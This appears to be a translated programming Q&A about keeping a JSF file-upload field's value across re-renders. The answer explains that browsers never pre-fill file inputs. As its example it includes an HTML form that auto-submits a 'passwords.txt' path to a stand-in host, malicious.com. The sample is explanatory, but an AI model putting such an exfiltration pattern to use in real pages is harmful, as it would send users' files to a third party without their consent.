uiccomponent的访问值绑定



我在我的应用程序中使用<t:inputFileUpload>上传文件。所选文件(表示为UploadedFile对象)仅在提交表单时保存到其绑定(支持bean中的成员)。当我在UI中使用动态元素时,表单将在不提交的情况下重新呈现。在这种情况下,值绑定是无效的,用户必须使用<t:inputFileUpload>重新选择文件。

当然,这不是很友好。即使没有提交,<t:inputFileUpload>抛出ValueChangedEvent,我想注册一个事件处理程序,将新值(即上传的文件)复制到值绑定(即支持bean的成员)中。因为我想允许上传多个文件,所以我有一个UploadedFile对象数组作为值绑定,在JSF中引用如下:

<ui:repeat value="#{bean.myFiles}" var="file">
  <t:inputFileUpload
    value   = "#{file}"
    storage = "file" />
</ui:repeat>

现在我想做这样的事情:

UploadedFile[] myFiles;
public void valueChangedHandler(ValueChangedEvent ev) {
  UploadedFile file = (UploadedFile)ev.getNewValue();
  UIComponent comp = ev.getComponent();
  // This line is pseudocode - getValueBinding() is not available
  UploadedFile bindingFile = (UploadedFile)comp.getValueBinding();
  // Assigning the new value to the binding
  bindingFile = file;
}

这样的事情可能发生吗?我还不明白如何调用ValueBinding getValueBinding(String)使它发生像我想要的。

用户必须使用<t:inputFileUpload>重新选择文件

这不是JSF的限制。这是HTML的限制。<t:inputFileUpload>组件呈现HTML <input type="file">字段。能够预填充/保留这样的字段是一个巨大的安全漏洞,并且在HTML中是不允许的。

为了更好地理解安全漏洞,请看下面的纯HTML示例:

<form id="upload" action="http://malicious.com/upload" method="post" enctype="multipart/form-data">
    <input type="file" name="file" value="c:/I/guess/this/is/path/to/your/passwords.txt" />
</form>
<script>document.getElementById("upload").submit();</script>

如果它是支持的,一个人用上面的表单打开一个网页,passwords.txt将被发送到服务器,没有任何用户的干预!

如果有些东西在HTML中是不可能的,那么JSF已经不能为您做太多(因为它基本上只是生成一些HTML)。

相关内容

  • 没有找到相关文章

最新更新